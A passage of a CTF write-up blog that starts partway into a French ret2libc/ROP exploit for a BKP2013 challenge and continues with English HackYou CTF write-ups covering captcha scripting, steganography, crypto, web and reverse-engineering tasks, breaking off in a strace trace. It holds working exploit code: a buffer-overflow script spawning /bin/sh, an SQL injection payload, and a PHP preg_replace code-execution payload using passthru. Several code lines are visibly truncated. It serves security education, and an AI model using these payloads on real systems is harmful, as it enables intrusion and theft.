Nous récupérons alors l'adresse de base de notre libc. Plus qu'à y ajouter l'offset calculé précédemment pour obtenir l'adresse d'execve.

Nous n'avons plus qu'à répéter l'opération pour exécuter execve en spécifiant en paramètre ce que l'on souhaite exécuter, pour notre exemple on va lancer un shell. Pour l'adresse pointant vers la chaine de caractères, plusieurs possibilités, vérifier si une chaine de ce type n'est pas déjà présente dans le programme. Dans ce cas là plus qu'à récupérer l'adresse, attention à ce que cette adresse soit dans une section non soumise à l'ASLR. Dans notre cas, nous allons rentrer la chaîne que l'on souhaite de toute pièce au travers du programme en utilisant le choix 1 qui va stocker son buffer en .bss

Pour être plus précis concernant la deuxième exploitation, nous allons appeler la fonction execve a qui on doit passer 3 arguments (man execve) mais en fait dans mon exploitation je n'en passe qu'un qui est la chaine du programme que je souhaite appelé (/bin/sh) car mes deux autres registres sont déjà à 0x0. Pour faire propre et plus fiable, il aurait fallut trouver les gadgets nécessaires pour définir les registres RSI et RDX correspondants aux deux autres arguments de la fonction execve.

5ème étape - L'exploitation finale

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Plusieurs possibilités pour debug :
# socat TCP4-LISTEN:4444,reuseaddr,fork 'SYSTEM:./fss'
# Configuration xinetd :
# - ajout du service dans /etc/xinetd/fss
# - ajout du port correspondant au service dans /etc/services
import sys
import socket
from struct import pack
import time
import re
import struct
def p(a):
    return pack('<Q', a)
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("",5555 ))
raw_input("Si besoin de debug...")
# ------ Etape 1 : Placer dans notre code /bin/sh ------
# Choix : 1) File a flight plan
# Type of Flight (IFR or VFR): /bin/sh
# Aircraft ID: Nimp
# Departure Airport: Nimp
# Destination Airport: Nimp
# Remarks: Nimp
# Flight Plan successfully filed
print "[*] Mise en place /bin/sh"
retour = fs.recv(4096)
retour = fs.recv(4096)
retour = fs.recv(4096)
retour = fs.recv(4096)
retour = fs.recv(4096)
retour = fs.recv(4096)
retour = fs.recv(4096)
# ------ Etape 2 : Leak des adresses de la libc au travers du buffer overflow ------
# gdb$ x/x puts
# 0x7f6dc6643060 <puts>:  0x6c8948e8245c8948
# gdb$ x/x execve
# 0x7f6dc6684f80 <execve>:        0x48050f0000003bb8
# 0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
retour = fs.recv(4096)
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(got_libc_puts) + p(call_puts)+p(0x49494949)+"\n")
retour = fs.recv(4096)
retour = fs.recv(4096)
ref_libc=struct.unpack('<Q', retour[0:6]+'\x00\x00')
print "[*] Adresse libc puts :"+hex(ref_libc[0])
print "[*] Adresse execve :"+ hex(addr_execve)
# ------ Etape 3 : execve au travers du buffer overflow ------
retour = fs.recv(4096)
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(addr_str_binsh) + p(addr_execve)+ p(0x41414141) +"\n")
fs.send("cat /root/Challenges/BKP2013/flag\n")
retour = fs.recv(4096)
retour = fs.recv(4096)
print retour

Voila en espérant que j'ai été le plus clair possible, n’hésitez pas à laisser des commentaires si vous souhaitez que je complète certains éléments.

Merci à acez pour ce challenge, awe et Frizn pour leur relecture et djo et over pour leur super tools.

Thursday, October 18 2012 16:05

HackYou CTF - PPC100, PPC200, PPC300 Writeups

PPC100 - Antihuman Captcha

To solve this task we have to submit the sum of two huge numbers, fast enough to be considered as a robot.
Python can handle these natively, so it's straight-forward.


#!/usr/bin/env python2
import urllib
import re
URL = ""
page = urllib.urlopen(URL).read()
regex = "HugeCaptcha</h2>(?:\s+)(\d+)(?:\s+)\+(?:\s+)(\d+)<br>(?:.*)name='trueanswer' value='([^']+)' />"
m =, page, re.S)
int_1, int_2, trueanswer = m.groups()
answer = int(int_1) + int(int_2)
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'hugecaptcha',
    'trueanswer': trueanswer
page = urllib.urlopen(URL, params).read()
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
regex = "Secret is:<br> ([^\n]+)"
m =, page)
passwd ="<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)

Flag: killallhumans

PPC200 - Oscaderp Forensic

Download the archive PPC200.

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
* The password that's being used is 1,048,576 characters long.
* According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
* Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
* We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

Not much of a choice, we must bruteforce remaining characters.
A dumb basic bruteforce will be quite long because of the password's length. Hence I hash the provided part first (1,048,568 bytes), store it in a "ref" variable, and then bruteforce the 8 remaining bytes, using a copy of the ref md5 object to keep it intact.
Python is usually not a good choice for bruteforce, but i was lazy and it's only a 8 digits bruteforce, which takes less than 3 minutes with code below.

#!/usr/bin/env python2
import itertools
import hashlib
import string
import re
ref = hashlib.md5()
lines = open("keylogger_report_08_10_2012.txt", "r").readlines()
out = open("password", "w")
regex = re.compile("^Keys: (\d+)")
for line in lines:
    m = regex.match(line)
    if m:
charset = string.digits
for password in itertools.product(charset, repeat=8):
    passwd = ''.join(password)
    h = ref.copy()
    if h.hexdigest() == "287d3298b652c159e654b61121a858e0":
        print "password is", passwd
        print "solve with", hashlib.sha1(open('password', 'r').read() + passwd).hexdigest()
print '[DONE]'

Flag: 947c83329e6cf2d9b747af59edf7974752afd741

PPC300 - Quantum Computing Captcha

Same concept than PPC100, but here we have to submit a prime number factor of a huge number.


I used the awesome pari-python module to extract the divisors, and gocr (I often have bad results with that one, but it did the job here...).

#!/usr/bin/env python
import urllib
import re
import subprocess
import pari
URL = ""
page = urllib.urlopen(URL).read()
regex = "<img src='/ppc300/([^']+)'><br>(?:.*)name='trueanswer' value='([^']+)' />"
m =, page, re.S)
img_name, trueanswer = m.groups()
img = urllib.urlopen(URL +
open("captcha.png", "w").write(img)
captcha = subprocess.Popen(['gocr -i captcha.png'], shell=True, stdout=subprocess.PIPE).communicate()[0]
captcha = captcha.split("\n")[0]
captcha = int(captcha[captcha.find('_e') + 2:].replace(" ", ""))
divisors = pari.divisors(captcha)
answer = divisors[1]
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'refactor',
    'trueanswer': trueanswer
page = urllib.urlopen(URL, params).read()
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
regex = "Secret is:<br> ([^\n]+)"
m =, page)
passwd ="<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)

Flag: kill_1_human

HackYou CTF - Stego100, Stego200, Stego300 Writeups

Stego 100 - Perfect Concealment

Download file stg100.txt.
Notice there are weird uppercase letters in some words. Let's just extract these.

>>> ''.join(__import__('re').findall('\w\w*([A-Z])\w*', open("stg100.txt", "r").read()))

Flag: sexystegopandas

Stego 200 - Halloween

stg200.png Download file stg200.png

If we change the background color we can clearly see something like this:

..    . .. .  . .. ...  ... .   . ..... ..    . ..  ..  ...  . 
....... ....... ....... ....... ....... ....... ....... .......

..    . .. .  . ..  .   . ..... .. .... ..  ..  . ..... .. ... 
....... ....... ....... ....... ....... ....... ....... .......

.. .... . ..... ..  ... .. .    .. .... ...  .. ... .   ...  ..
....... ....... ....... ....... ....... ....... ....... .......

That's binary, let's extract the password from it:

>>> s="""1100001 1101001 1101110 1110100 1011111 1100001 1100110 1110010
... 1100001 1101001 1100100 1011111 1101111 1100110 1011111 1101110
... 1101111 1011111 1100111 1101000 1101111 1110011 1110100 1110011"""
>>> ''.join(chr(int(i, 2)) for i in s.replace("\n"," ").split(' '))

Flag: aint_afraid_of_no_ghosts

Stego 300 - Go Through the Tunnel

stg300.png Download file stg300.png
The text in the middle of the picture is a lure. THAT'S SO FUNNY.
Let's steganalyse this file more seriously, with StegSolve from Caesum (useful tool, although it's java).
Flag: 4E34B38257200616FB75CD869B8C3CF0

HackYou CTF - Crypto100, Crypto200, Crypto300 Writeups

Crypto100 - Schneier's Algorithm


Download file cry100.jpg
This is a code that Bruce Schneier likes to insert as an autograph.
Read from the last column to the first to discover the flag.

Flag: hackyouisthebestestctfftw

Crypto200 - XOROWbIu WbI(|)P

Download file cry200.txt.enc
The title suggests it's XOR, so let's launch a XOR analysis, here with Cryptool:
We are not done yet, but that's quite a good start!
We can assume the first word is "Congratulations", and deduce the final XOR key from it and the corresponding bytes in the ciphertext:

awe@awe-laptop ~ % hexdump -C cry200.txt.enc|head -n  1
00000000  d5 cb 44 a4 e4 12 e2 d1  46 a2 e2 1a f9 ca 59 e2  |..D.....F.....Y.|
awe@awe-laptop ~ % echo "Congratulations"|hexdump -C|head -n 1
00000000  43 6f 6e 67 72 61 74 75  6c 61 74 69 6f 6e 73 0a  |Congratulations.|
>>> s1 = "d5 cb 44 a4 e4 12 e2 d1  46 a2 e2 1a f9 ca 59 e2".replace(' ','').decode("hex")
>>> s2 = "43 6f 6e 67 72 61 74 75  6c 61 74 69 6f 6e 73 0a".replace(' ','').decode("hex")
>>> ' '.join('%02x' % (ord(s1[i]) ^ ord(s2[i])) for i in range(len(s1)))
'96 a4 2a c3 96 73 96 a4 2a c3 96 73 96 a4 2a e8'

96 a4 2a c3 96 73 is repeated, that's our XOR key.

Now let's decrypt the whole file:

#!/usr/bin/env python2
txt = open("cry200.txt.enc", "rb").read()
key = "96 a4 2a c3 96 73".replace(" ", "").decode("hex")
def my_xor(cipher, key):
    keylen = len(key)
    res = ""
    for pos, c in enumerate(cipher):
        res += chr(ord(c) ^ ord(key[pos % keylen]))
    return res
print my_xor(txt, key)

Congratulations! While the quick brown fox jumps over the lazy dog, the plain xor cipher is still very unsecure when the key is much shorter than the message. Your flag: Foxie Dogzie Crypto Pwnd

Flag: Foxie Dogzie Crypto Pwnd

Crypto300 - Hardcore

Download file

Here is what the algorithm does:

  • - Init sbox (SALTED_BOX) with range(128).
  • - add_key(SALTED_SBOX, KEY)
  • - every time it receives something from a user, it splits user input into two equal size blocks (k and m), and calls encrypt(SALTED_BOX, k, m)
  • - return hex-encoded result of the encrypt call to the user

If you are too lazy to open the file, here is add_key function:

def add_key(sbox, k):
    for i, c in enumerate(k):
        sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
        for i in xrange(len(sbox)):
            sbox[i] = (sbox[i] + 1) % 128

Notice this is all reversible as long as we have an idea of the inital sbox, which is the case here, we know it was range(128).
Now we must submit an even sized string, let's study the encrypt() function:

def encrypt(sbox, k, m):
    sbox = sbox[::]
    add_key(sbox, k)
    c = ""
    for ch in m:
        c += chr(sbox[ord(ch)])
        sbox = combine(sbox, sbox)
    return c

The sbox is copied (sbox = sbox[::]) so that every time you will encrypt something, sbox will remain in the same state as above, salted with our challenge flag.
What about if we submit a string of 2 characters? 'k' will contain the first one, 'm' the last. So in the for loop, we will bypass the combine() call.
Simply perform 127 queries to extract the result of add_key(sbox, k). It is then trivial to reverse it and obtain sbox (SALTED_BOX).
It is indeed possible to optimize this process and to save queries by detecting a constant increment in dumped sbox characters, but I prefered the easy dirty way ;)
We only need to revert add_key(range(128), KEY), now that we have its output.
A quick bruteforce does it well, for each possible key length.
Once again, the optimization could save this but ... :D

Here is my code:

#!/usr/bin/env python2
import socket
import string
#HOST = 'localhost'
HOST = ''
PORT = 7777
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((HOST, PORT))
res = [-1]
for i in xrange(1, 128):
    txt = '1' + chr(i)
    data = s.recv(1024)
    res += [ord(data.rstrip().decode("hex"))]
for i in xrange(0, 128):
    if i not in res:
        res[0] = i
res[0], res[ord('1')] = res[ord('1')], res[0]
res = map(lambda x: (x - 1) % 128, res)
print res
ref = res[:]
for bf in xrange(1, 128):
    pwd = ""
    dump = True
    res = ref[:]
    for pos in reversed(xrange(0, bf)):
        res = map(lambda x: (x - 1) % 128, res)
        for i, c in enumerate(res):
            if c == 2 * pos:
        res[pos], res[i] = res[i], res[pos]
        if not chr(i) in string.printable:
            dump = False
        pwd = chr(i) + pwd
    if dump:
        print "-" * 80
        print pwd

And its output:

% ./
[86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31,
89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72,
73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113,
114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4,
35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
1sek3yhl >9`en0ugh?> !"#$% !"#$%

Flag: <is`th1s`k3y`l0n9`en0ugh?>

HackYou CTF - Web100, Web200, Web300 Writeups

Web 100 - Pentagon Authentication

This is a javascript challenge containing several conditions for the password to be correct.
Let's summarize these conditions:

# secretPassPhrase = "Climbing is dangerous"
# QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor."
# length == 12
# pwd[0] in string.digits
# pwd[10] in string.digits
# pwd[1] in string.digits
# pwd[6] in string.digits
# pwd[2] in string.digits
# int(pwd[0]) + int(pwd[1]) + int(pwd[2]) + int(pwd[6]) + int(pwd[10]) == 12
# pwd[7] == 'd'
# pwd[7] == pwd[8] - 1
# pwd[2] == pwd[6]
# pwd[6] == pwd[1]
# int(pwd[1]) * int(pwd[10]) == 0
# int(pwd[1]) - int(pwd[10]) == 1
# pwd[11] + pwd[3] + pwd[4] == secretPassphrase[int(pwd[0]) / 2, 3)]
# pwd[9] in string.ascii_lowercase
# pwd[9] not in QuoteOfTheDay

We quicky find the valid password: 911in?1dej0b
We only miss character #5, but it's easy to guess it: 911in51dej0b.
Anyway it is not used by javascript checks.

Flag: n0-evidence-0n1y-this-8030

Web 200 - Global Meteo


<!-- Not ashamed to show you the source: -->

Download challenge files here.
Quick glance at the code and we find this:

$fieldArray = $_POST['fields'];
    foreach ($fieldArray as &$field) {
      $field = mysql_real_escape_string($field);
      if (is_numeric($field)) {
        if (strstr($field, "."))
          $field = (float)$field;
          $field = (int)$field;
      } elseif (strtolower($field) == "true") {
        $field = true;
      } elseif (strtolower($field) == "false") {
        $field = false;
      } else {
        $field = NULL;
    $storedFields = serialize($fieldArray);
    mysql_query("INSERT INTO storage (location, data) VALUES (\"$location\", \"$storedFields\")");

$_POST['fields'] is serialized, but values are filtered first. Anyway, it is an array, we can still modify its keys.
A string key will introduce a quote in the serialized string:

print serialize(array('fu' => true, 42 => 1337)) . "\n";
# output: a:2:{s:2:"fu";b:1;i:42;i:1337;}

We now have an SQL injection within an INSERT statement, which we can use to insert other rows, containing result from subrequests.

#!/usr/bin/env python2
import urllib
URL = ""
URL_ADD = ""
sql_injection = '), ((SELECT flag FROM secret LIMIT 1), '
params = urllib.urlencode({
    'location': "osef suce.",
    'fields[%s]' % sql_injection: "false"
print urllib.urlopen(URL_ADD, params).read()
print "-" * 80
print urllib.urlopen(URL).read()

Flag: Serialize()_ALL_the_fields!!11

Web 300 - RNG of Ultimate Security


    <!-- can't touch this: -->
    <!-- can touch this: -->

Download file index.php.txt.

Step 1 - Unobfuscate

The code is obfuscated, so let's try to unobfuscate it before delving into the vulnerability.
Every string is obfuscated, and is unobfuscated by calling b() function.

Of course function and variable names are obfuscated as well, using ${b(obfuscated_string)} syntax.
As a reminder, ${$string} is a variable variable (same than $$string).

Now the question is: what is b() doing ?
Obviously we don't need the answer, we can retrieve strings simply by performing something like:

print b("f975de3ba2") . "\n";

But that's lame, so we'll try to understand the operations performed within b(). First things first, here is what is b():

00000000  66 75 6e 63 74 69 6f 6e  20 62 28 24 62 29 7b 72  |function b($b){r|
00000010  65 74 75 72 6e 20 65 76  61 6c 28 c3 9c c3 a7 c2  |eturn eval(.....|
00000020  91 c2 88 c2 a9 c2 b2 c3  93 c3 92 c2 9c c3 84 c2  |................|
00000030  a0 c2 ac c2 9e c3 b3 c2  b6 c3 a9 c2 b2 c3 ae c2  |................|
00000040  8c c2 96 c2 89 c2 85 c3  ba c2 a0 c3 ad c2 a9 c2  |................|
00000050  a6 c3 8e c2 b2 c2 90 c2  8c c3 97 c2 aa c2 b1 c2  |................|
00000060  a7 c3 a8 c3 b9 c3 a4 c2  bc c2 a6 c2 a1 c2 ae c2  |................|
00000070  81 c3 93 c3 b0 c2 bf c2  bf c3 a0 c2 9a c3 92 c2  |................|
00000080  a0 c3 9a c2 8a c3 90 c2  be c3 9f c3 81 c3 9c c2  |................|
00000090  95 c3 af c3 8d c2 b5 c3  be c3 ab c2 99 c3 84 c2  |................|
000000a0  96 c3 be c2 b6 c2 b1 c2  9d c2 a4 c2 b3 c2 8c c3  |................|
000000b0  80 c3 a5 c3 b2 c3 88 c3  a0 c3 99 c3 ae c2 af c2  |................|
000000c0  8a c2 a1 c2 89 c2 bf c2  b8 c2 96 c2 a6 c3 b5 c3  |................|
000000d0  b0 c3 b6 c3 8c c2 bc c2  8a c2 89 c3 9f c2 ba c2  |................|
000000e0  91 c3 ac c3 98 c3 9a c3  a5 c3 a0 c3 87 c3 90 c2  |................|
000000f0  81 c2 8f c3 91 c2 91 c3  8a c3 9b c2 89 c3 a2 c3  |................|
00000100  a4 c2 a0 c3 be c2 8a c3  a9 c3 81 c3 94 c3 9b c2  |................|
00000110  92 c3 88 c3 95 c3 83 c2  91 c2 a0 c3 8f c2 84 c2  |................|
00000120  8f c2 aa c3 bc c3 a4 c2  b1 c2 b5 c3 91 c3 9b c3  |................|
00000130  8f c3 89 5e c2 ae c2 82  c3 a5 c3 bd c3 9b c3 9c  |...^............|
00000140  c3 b3 c2 a1 c3 a8 c2 b6  c3 bf c3 9e c3 bb c2 83  |................|
00000150  c3 93 c2 88 c3 86 c3 86  c3 a1 c3 b2 c2 bc c2 ad  |................|
00000160  c2 89 c3 95 c2 8f c3 9a  c3 92 c2 bc c2 9a c2 b4  |................|
00000170  c3 ae c3 bb c2 9a c2 9d  c2 9f c3 81 c3 95 c2 90  |................|
00000180  c3 8e c3 93 c3 84 c2 87  c2 ad c2 b0 c2 95 c3 96  |................|
00000190  c3 93 c3 88 c2 b2 c2 a1  c3 94 c2 a8 c3 a6 c2 b5  |................|
000001a0  c3 90 c3 b7 c3 a5 c2 be  c2 bc c3 82 c3 b5 c2 9c  |................|
000001b0  c3 91 c3 9a c2 af c3 ad  c2 bf c2 a0 c3 86 c3 90  |................|
000001c0  c3 be c3 8f c2 9b c2 ae  c2 9c c2 9d c3 86 c3 b0  |................|
000001d0  c2 bc c2 a1 c3 9c c3 8e  c2 a8 c2 8d c3 ba c3 8a  |................|
000001e0  c3 9a c3 a5 c3 92 c2 87  c3 98 c3 92 c2 ae c2 90  |................|
000001f0  c2 b2 c2 a0 c3 b6 c2 81  29 3b 7d 0a              |........);}.|

It's not a simple strrev(base64(blabla)), but rather eval()'d PHP bytecode.
To dump opcodes and see what's going on, I use Vulcan Logic Dumper.
Launch it with:

php -dvld.verbosity=1 index.php


filename:       /home/awe/Downloads/index.php(4) : eval()'d code
function name:  (null)
number of ops:  25
compiled vars:  !0 = $b
line     # *  op                           fetch          ext  return  operands
   1     0  >   SEND_VAR                                                 !0
         1      SEND_VAL                                                 0
         2      SEND_VAL                                                 8
         3      DO_FCALL                                      3  $0      'substr'
         4      SEND_VAR_NO_REF                               6          $0
         5      SEND_VAL                                                 true
         6      DO_FCALL                                      2  $1      'md5'
         7      SEND_VAR_NO_REF                               6          $1
         8      SEND_VAR                                                 !0
         9      DO_FCALL                                      1  $2      'strlen'
        10      SUB                                              ~3      $2, 8
        11      DIV                                              ~4      ~3, 16
        12      SEND_VAL                                                 ~4
        13      DO_FCALL                                      1  $5      'ceil'
        14      SEND_VAR_NO_REF                               6          $5
        15      DO_FCALL                                      2  $6      'str_repeat'
        16      SEND_VAL                                                 'H%2A'
        17      SEND_VAR                                                 !0
        18      SEND_VAL                                                 8
        19      DO_FCALL                                      2  $7      'substr'
        20      SEND_VAR_NO_REF                               6          $7
        21      DO_FCALL                                      2  $8      'pack'
        22      BW_XOR                                           ~9      $6, $8
        23    > RETURN                                                   ~9
        24*   > RETURN                                                   null

branch: #  0; line:     1-    1; sop:     0; eop:    24

If you seek more informations about PHP opcodes, RTFM :)
We deduce what PHP is doing:

return str_repeat(md5(substr($param, 0, 8), true), ceil((strlen($param) - 8) / 16)) ^ pack("H*", substr($param, 8));

Now let's create a Python script to unobfuscate the whole file:

#!/usr/bin/env python2
import re
import hashlib
import math
def my_xor(arg1, arg2):
    length = min(len(arg1), len(arg2))
    res = ""
    for i in xrange(length):
        res += chr(ord(arg1[i]) ^ ord(arg2[i]))
    return res
def unobfuscate(match):
    s =
    arg1 = hashlib.md5(s[0:8]).digest() * int(math.ceil((len(s) - 8.0) / 16))
    arg2 = s[8:].decode("hex")
    return '"%s"' % my_xor(arg1, arg2)
txt = open('index.php.txt', 'r').read()
print re.sub('b\("([^"]+)"\)', unobfuscate, txt)


<?${"Gjx7QbQ4l3EL"}="array_key_exists";${"USVuYTejL3cA"}="preg_replace";${"lRzbPV0GVCmL"}="mt_rand";${"eU3WOwVfyB2j"}="printf";${"MFBEFx3icClz"}="range";${"KytnuQGCMhPA"}="pack";${"eU3WOwVfyB2j"}("<!DOCTYPE html>
    <title>RNG of Ultimate Security</title>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: -->
    <!-- can touch this: -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>");if(${"Gjx7QbQ4l3EL"}("rng_seeds",${"_POST"})){${"LhfnDi9VtrJM"}=${"_POST"}["rng_seeds"];${"aKRml6aSjmxW"}=${"_POST"}["rng_algorithm"];${"SBBTqFwnO6s5"}="5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";if(${"aKRml6aSjmxW"}!=${"SBBTqFwnO6s5"})${"eU3WOwVfyB2j"}("wuut?! hacker detected!");else${"eU3WOwVfyB2j"}(${"USVuYTejL3cA"}("#\b(\d+)\b#se",${"KytnuQGCMhPA"}("H*",${"aKRml6aSjmxW"}),${"LhfnDi9VtrJM"}));}else{foreach(${"MFBEFx3icClz"}("1","5")as$_)${"eU3WOwVfyB2j"}(${"lRzbPV0GVCmL"}()."
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
</html>");function b($b){return eval([...])};

Better, isn't it?
We still have to manually fix a few things, mainly variable names, indentation and stuff... which finally gives us:

printf("<!DOCTYPE html>
    <title>RNG of Ultimate Security</title>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: -->
    <!-- can touch this: -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
	  <textarea name='rng_seeds' cols=50 rows=10>");
if (array_key_exists("rng_seeds", $_POST))
	$ref = "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";
	if ($_POST['rng_algorithm'] != $ref)
		printf("wuut?! hacker detected!");
		printf(preg_replace("#\b(\d+)\b#se",pack("H*", $_POST['rng_algorithm']), $_POST['rng_seeds']));
	foreach (range("1", "5") as $_)
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />

Now we can work on it.

Step 2 - Sploit da vuln

Because it is lax, PHP's typing system is a mess. Hence a string composed of digits only is sometimes considered as an integer. We cannot use any other digit-based string, it must have the same length (except if we prefix it with 0's or spaces, but that's not quite useful...), and the first digits must be the same.
Thereby we find that:


Great job, PHP!

There is a vulnerability in the preg_replace, because it's using the 'e' PCRE modifier (more infos).

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.

But a problem arise: we are limited to a strict charset, which consists of only all ASCII characters for which the hexadecimal representation is composed only of digits.
That sound unrealistic, but if we look closer at the provided rng_algorithm, we understand that's correct:

>>> "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929".decode("hex")

Our payload must begin with 'ShA1(dAT', which is annoying as we will explain below.
Our charset is ! "#$%&'()0987654321@ABCDEFGHIPQRSTUVWXY`abcdefghipqrstuvwxy
We must now focus on how to read the flag.txt.gz file. Reading it via PHP functions seems hard, knowing that 'o' is not inside the charset (so, forget about fopen, file_get_contents etc...). However, we don't even have either ';' or '.' available!

Thus we will try to find a way to execute shell commands.
A good idea is to first list PHP functions and shell commands/binaries that comply with our charset.

function check_in_charset($func)
	$len = strlen($func);
	for ($i = 0; $i < $len; ++$i)
		if (!is_numeric(bin2hex($func[$i])))
			return FALSE;
	return TRUE;
$functions = array_filter(get_defined_functions()['internal'], "check_in_charset");
print join(', ', $functions);


each, date, idate, getdate, ereg, eregi, hash, sha1, crc32, iptcparse, phpcredits, strrev, hebrev, hebrevc,
strstr, stristr, strrchr, substr, ucfirst, strtr, chr, strchr, exec, passthru, abs, pi, exp, sqrt, deg2rad, rad2deg,
hexdec, dechex, getrusage, header, gettype, settype, fgetc, fgets, fgetss, fread, fpassthru, fstat, fwrite,
fputs, fgetcsv, fputcsv, crypt, chdir, getcwd, readdir, dir, stat, chgrp, prev, reset, extract, assert, gettext,
dgettext, dcgettext

Same process for UNIX binaries, listing /bin/ and /usr/bin/.

Wow, we have 'exec()' in the list, sounds like a win? Not quite :(
Remember, we still have the 'ShA1(dAT' prefix, annoying us. We don't have ';' so we can't chain it easily with another function. However, we can use '&&'.

Therefore our payload will be "ShA1(dATe()) && FIXME".
The problem is that "exec()" returns its results as a string, so we can't do that.
... Unless ... we do something blind-like, based on substr? Nah you can forget that too, we don't even have ',' available...

Hopefully it is still exploitable, with passthru.

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

We must now find something to 'cat' the flag. No 'l', no 'o', no '*', not even '['. Forget 'ls', 'echo *', 'cat f*' etc.
However the 'dir' binary does the trick. It will list all files, but we can deal with it.
Our final payload will then look like this:

ShA1(dATe()) && passthru('cat `dir`')

It always looks easy once you have the answer ;)

The flag file is a tarball, so it's not a good idea to execute the command within a browser, we will have some issues while dumping its content.
We will instead do it via another python script:

#!/usr/bin/env python2
import urllib
URL = ""
PAYLOAD = "ShA1(dATe()) && passthru('cat `dir`')"
PAYLOAD += " " * (62 - len(PAYLOAD))
PAYLOAD = PAYLOAD.encode('hex')
params = urllib.urlencode({
    'rng_seeds': '1337',
    'rng_algorithm': PAYLOAD
open('outputz.gz', 'wb+').write(urllib.urlopen(URL, params).read())

Manually remove HTML tags from the file and execute gunzip outputz.gz.
We obtain a file that is chained base64 encoding of the password. Final Python script:

#!/usr/bin/env python2
txt = open("outputz", "r").read()
count = 0
while True:
        txt = txt.decode("base64")
        count += 1
        if ' ' in txt:
            print '[+] %d base64!' % count
            print '[+]', txt
        print txt
[+] 42 base64!
[+] flag: 36e03906042b7b266afa32bd1ea35445

Flag: 36e03906042b7b266afa32bd1ea35445

HackYou CTF - Reverse100, Reverse200, Reverse300 Writeups

Reverse 100 - Open-Source

Download file code.c.
Simply read the source...

% ./code `python2 -c 'print 0xcafe'` 25 h4cky0u
Brr wrrr grr
Get your key: c0ffee

Flag: c0ffee

Reverse 200 - LoseYou

Download file

Extract the archive to obtain task2.bin and task2.exe.
I decided to study task2.bin.
The routine to reverse is sub_80483DC.
We quicky notice this:


That's very basic, eax will contain our guessed number, ecx will contain the randomly generated number.
All we need to do is to break on the "cmp eax, ecx" at 08048503 and set eax to ecx.

(gdb) b *0x08048503
Breakpoint 1 at 0x8048503
(gdb) r
Starting program: /tmp/task2.bin 
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?
Welcome to the LoseYou lottery!
Generating random.....
Make your guess (number 0 or 1): tg
Breakpoint 1, 0x08048503 in ?? ()
(gdb) set $eax=$ecx
(gdb) c
You... you... win??? so lucky! Grab the flag:
::: oh_you_cheat3r :::
[Inferior 1 (process 27619) exited normally]

Flag: oh_you_cheat3r

Reverse 300 - ashtree

Download file
Once again I decided to study the ELF version: task3.bin.

Step 1 - Unpack

The binary seems to be packed by a modified UPX (at least, UPX string is replaced by LOL...).
Let's trace execution:

% strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 34 vars */]) = 0
[ Process PID=5640 runs in 32 bit mode. ]
getpid()                                = 5640
gettimeofday({1350215641, 677903}, NULL) = 0
unlink("/tmp/upxCRBOGQOAFQI")           = -1 ENOENT (No such file or directory)
open("/tmp/upxCRBOGQOAFQI", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xf775a000
